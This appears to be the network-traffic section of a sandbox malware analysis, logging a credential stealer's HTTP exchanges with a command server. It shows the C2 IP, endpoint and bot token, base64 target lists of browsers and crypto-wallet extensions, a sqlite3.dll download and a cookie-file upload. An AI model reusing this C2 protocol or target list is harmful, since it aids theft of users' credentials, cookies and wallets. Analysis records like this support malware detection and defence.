form-data; name="build"mars------IDAEHCFHJJJJECAAFBKJ--
Nov 18, 2024 04:41:09.646019936 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 67 30 4e 7a 51 79 4f 54 63 78 4d 6a 64 6c 4e 54 42 68 4d 6a 41 34 4f 44 51 32 4e 54 59 7a 5a 54 52 6c 4d 32 4d 30 4d 7a 4e 6d 4e 7a 67 79 4f 54 45 78 4f 44 56 69 4d 47 45 77 5a 6d 52 69 59 6a 5a 6d 4d 32 5a 68 5a 44 55 33 4f 57 55 79 4d 47 55 78 5a 44 42 6a 4e 47 4e 6c 4e 6d 59 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: Njg0NzQyOTcxMjdlNTBhMjA4ODQ2NTYzZTRlM2M0MzNmNzgyOTExODViMGEwZmRiYjZmM2ZhZDU3OWUyMGUxZDBjNGNlNmYyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 18, 2024 04:41:09.649821997 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBFHIJECFIDGDGCGHCG Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 46 48 49 4a 45 43 46 49 44 47 44 47 43 47 48 43 47 2d 2d 0d 0a Data Ascii: ------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KEBFHIJECFIDGDGCGHCGContent-Disposition: form-data; name="message"browsers------KEBFHIJECFIDGDGCGHCG--
Nov 18, 2024 04:41:09.929960012 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:09 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 18, 2024 04:41:09.929979086 CET	112	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGlj
Nov 18, 2024 04:41:09.929995060 CET	908	IN	Data Raw: 59 58 52 70 62 32 35 63 66 44 64 54 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e Data Ascii: YXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnR
Nov 18, 2024 04:41:09.931431055 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAFBKECAKFCAAAKJDAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 46 42 4b 45 43 41 4b 46 43 41 41 41 4b 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------JDAFBKECAKFCAAAKJDAKContent-Disposition: form-data; name="message"plugins------JDAFBKECAKFCAAAKJDAK--
Nov 18, 2024 04:41:10.211519957 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 18, 2024 04:41:10.211585999 CET	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Nov 18, 2024 04:41:10.211601973 CET	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Nov 18, 2024 04:41:10.211616993 CET	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Nov 18, 2024 04:41:10.211637020 CET	124	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWpl
Nov 18, 2024 04:41:10.211936951 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Nov 18, 2024 04:41:10.211951017 CET	212	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFt
Nov 18, 2024 04:41:10.212127924 CET	1236	IN	Data Raw: 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 Data Ascii: YXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR
Nov 18, 2024 04:41:10.212146044 CET	616	IN	Data Raw: 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 77 78 66 44 42 38 4d 48 78 43 59 57 4e 72 63 47 46 6a 61 79 42 58 59 57 78 73 5a 58 52 38 59 57 5a 73 61 32 31 6d 61 47 56 69 5a 57 52 69 61 6d 6c 76 61 58 Data Ascii: a2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWt
Nov 18, 2024 04:41:10.214093924 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAEHDHDAKJEBGCBKKJE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 45 48 44 48 44 41 4b 4a 45 42 47 43 42 4b 4b 4a 45 2d 2d 0d 0a Data Ascii: ------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------HCAEHDHDAKJEBGCBKKJEContent-Disposition: form-data; name="message"fplugins------HCAEHDHDAKJEBGCBKKJE--
Nov 18, 2024 04:41:10.493762016 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 18, 2024 04:41:10.515371084 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAAAAAAAAAAAAAAAAAAA Host: 185.215.113.206 Content-Length: 5303 Connection: Keep-Alive Cache-Control: no-cache
Nov 18, 2024 04:41:11.303308964 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 18, 2024 04:41:11.661530972 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 18, 2024 04:41:11.939245939 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 03:41:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49783	185.215.113.206	80	3776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 04:41:21.088715076 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJJEGIDBGIDGCBAFHC Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 38 34 37 34 32 39 37 31 32 37 65 35 30 61 32 30 38 38 34 36 35 36 33 65 34 65 33 63 34 33 33 66 37 38 32 39 31 31 38 35 62 30 61 30 66 64 62 62 36 66 33 66 61 64 35 37 39 65 32 30 65 31 64 30 63 34 63 65 36 66 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4a 45 47 49 44 42 47 49 44 47 43 42 41 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="token"68474297127e50a208846563e4e3c433f78291185b0a0fdbb6f3fad579e20e1d0c4ce6f2------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KJKJJEGIDBGIDGCBAFHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJKJJEGIDBGIDGCBAFHC--
